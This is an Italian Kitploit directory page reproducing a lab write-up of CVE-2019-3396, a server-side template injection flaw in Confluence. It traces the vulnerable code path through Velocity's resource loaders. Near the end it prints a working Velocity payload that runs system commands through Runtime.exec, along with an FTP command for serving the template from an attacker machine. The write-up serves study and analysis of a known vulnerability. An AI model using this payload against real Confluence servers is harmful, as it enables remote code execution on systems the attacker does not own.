Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-3396 — Guida passo-passo per l'analisi e lo sfruttamento di CVE-2019-3396, una vulnerabilità SSTI critica in Confluence Server & Data Center, inclusi debug ed esecuzione di payload RCE. | Kitploit
Strumenti/GitHubGitHub/tranphuc2005/cve-2019-3396
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

Guida passo-passo per l'analisi e lo sfruttamento di CVE-2019-3396, una vulnerabilità SSTI critica in Confluence Server & Data Center, inclusi debug ed esecuzione di payload RCE.

Vedi Repository
341 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-3396

🔎 Informazioni principali:

  • Prodotto interessato: Confluence Server & Data Center

  • Versioni interessate: da 6.0.0 a 6.15.4

  • Gravità: Critical (CVSS ~9.8)

  • Causa:

    • Confluence ha il plugin Widget Connector (usato per incorporare video e contenuti esterni come YouTube, Vimeo...).

    • Questa funzionalità non controlla correttamente l'input dell'utente, portando a Server-Side Template Injection (SSTI).

    • Un attaccante può inviare un payload dannoso → Confluence esegue il rendering con Velocity template engine → esecuzione di codice sul server.

1. Installazione e avvio del sito web

  • Installare le versioni vulnerabili, ad esempio 6.9.0:
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • Seguire i passaggi di configurazione secondo le istruzioni
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • Dopo l'installazione riuscita troveremo l'interfaccia

1

2. Ricerca della posizione vulnerabile e debug

2.1 Ricerca della posizione vulnerabile

  • Secondo il POC, la funzionalità vulnerabile si trova nella parte Widget Connector (usata per incorporare video e contenuti esterni come YouTube, Vimeo...)
  • Procediamo a individuare quella funzionalità:
  1. Scegliere la sezione Other macros

1

  1. Cercare lo strumento di risoluzione Widget Connector

1

  1. Inserire il link, compilare le informazioni richieste e quindi scegliere Preview

1

2.2 Configurazione per il debug

  • Poiché la descrizione menziona Widget Connector, proviamo a cercare nella cartella sorgente di Confluence

1

  • Leggere il file .jar con Intellij IDEA
  • Posizionare i breakpoint nei punti che gestiscono la risoluzione del link ed eseguire il debug

Esecuzione del debug

  • Eseguire il debug e impostare un breakpoint in com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class
  • Qui vediamo i vari parametri
  • Si passa alla classe DefaultRenderManager.class

1

  • Qui viene usata la funzione getEmbeddedHtml()
  • Restituisce il codice HTML per incorporare (embed) contenuti esterni (video, widget, documenti…) in base a un URL inserito dall'utente nella pagina Confluence
  • Da qui si passa alla funzione YoutubeRenderer

1

  • Entrare nella classe YoutubeRenderer
  • In questa funzione getEmbeddedHtml(String url, Map<String, String> params)
  • url → link YouTube originale inserito dall'utente
  • params → una mappa contenente i parametri di configurazione per il rendering (ad esempio larghezza, altezza, template usato per il rendering…).

1

  • Si continua chiamando getEmbedUrl(), setDefaultParam() e DefaultVelocityRenderService.render()
  • Concentriamoci su setDefaultParam()

1

  • Se _template non è presente → assegna il template predefinito youtube.vm. => Possiamo aggiungere manualmente _template al programma

  • Successivamente entriamo in DefaultVelocityRenderService.render()

  1. Scopo della funzione

    • Riceve url + i parametri params.

    • Usa il template Velocity (.vm) per generare HTML incorporato (iframe, embed, …).

  2. Determinazione del template

    • Se params contiene _template → usa quel template.

    • Altrimenti → usa il predefinito embed.vm.

  3. Crea il context predefinito con MacroUtils.defaultVelocityContext().

  • Inserisce tutti i parametri da params nel context:

    • Se la chiave è tweetHtml → mantiene l'HTML invariato.

    • Altrimenti → codifica in modo sicuro con GeneralUtil.htmlEncode().

  • Aggiunge urlHtml, width, height al context (se vuoti, assegna i valori predefiniti 400 × 300).

1

  • Si chiama VelocityUtils.getRenderedTemplate()

1

  • Ora passiamo alla classe VelocityUtils
  • Nella parte precedente vengono chiamati getRenderedTemplate e getRenderedTemplateWithoutSwallowingErrors()

1

  • Successivamente si continua chiamando getTemplate()

1

  • Qui templateName è proprio il _template precedente.

  • Poi si continua chiamando VelocityEngine.Template()

1

  • Nella classe VelocityEngine si continua chiamando RunimeInstance.getTemplate()

1

RuntimeInstance (Velocity core)

È il "cuore" del Velocity Engine. Si occupa di:

  • Inizializzare l'engine (init)

  • Gestire configurazione, macro, parser, directive, event handler…

  • E in particolare: gestire le risorse tramite ResourceManager

→ Ciò significa che RuntimeInstance non carica direttamente le risorse, ma delega a resourceManager.

  • Successivamente si chiama CompatibleVelocityResourceManager.getResource()

1

ConfigurableResourceManager (personalizzato di Confluence)

È un'implementazione dell'interfaccia ResourceManager.

È responsabile di:

  • Gestire i resource loader (file loader, classpath loader, URL loader…).

  • Gestire la globalCache (cache dei template in base a resourceKey).

  • Eseguire load/refresh dei template (file .vm) quando richiesto da RuntimeInstance.

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • Quando la risorsa è nella cache, non viene restituita subito, ma viene chiamato refreshResource(...).

  • refreshResource confronta il tempo di ultima modifica su disco con quello nella cache.

  • Se il file è cambiato → la risorsa nella cache viene invalidata → ricaricata dal disco → la cache viene aggiornata.

👉 Quindi non è necessario cambiare manualmente resourceKey. Il meccanismo di refresh garantisce che quando il template cambia, anche la cache venga aggiornata.

Aggiungiamo _template e inviamo nuovamente la richiesta

1

  • Vediamo l'elenco delle istanze ResourceLoader (oggetti già inizializzati) in Velocity

1

1

  • Qui ci interessano solo FileResourceLoader e ClasspathResourceLoader

1. Per FileResourceLoader

Viene chiamato StringUtils.normalizePath() per bloccare il path traversal

1

  • Il contenuto di normalizePath come in figura

1

  • Proviamo a leggere il file /WEB-INF/web.xml e possiamo vedere che il file è stato caricato con successo.

1

  • Ma non si riesce ancora a uscire dalla directory di Confluence perché /../ è bloccato
  • Continuiamo a controllare ClasspathResourceLoader

2. ClasspathResourceLoader

1

  • Seguiamo fino a ClassUtils.getResourceAsStream

1

  • Chiama findResource() di /org/apache/catalina/loader/WebappClassLoaderBase.class

1

  • Continua chiamando super.findResource() che restituisce un URL, cioè l'oggetto può essere recuperato.

1

1

  • Chiama url.openStream() per ottenere i dati

1

  • Infine inserisce i dati nel rendering Velocity.

1

  • Se nei casi reali non si conosce il percorso specifico, possiamo sfruttare il file scheme di Java per ottenere l'elenco delle directory

1

Con outbound

Payload da eseguire

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • Si chiama $runtime.exec("id") → esegue il comando di sistema "id" su Ubuntu.
  • Si apre un servizio FTP con il comando:
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

Esecuzione:

1

Scarica lo strumento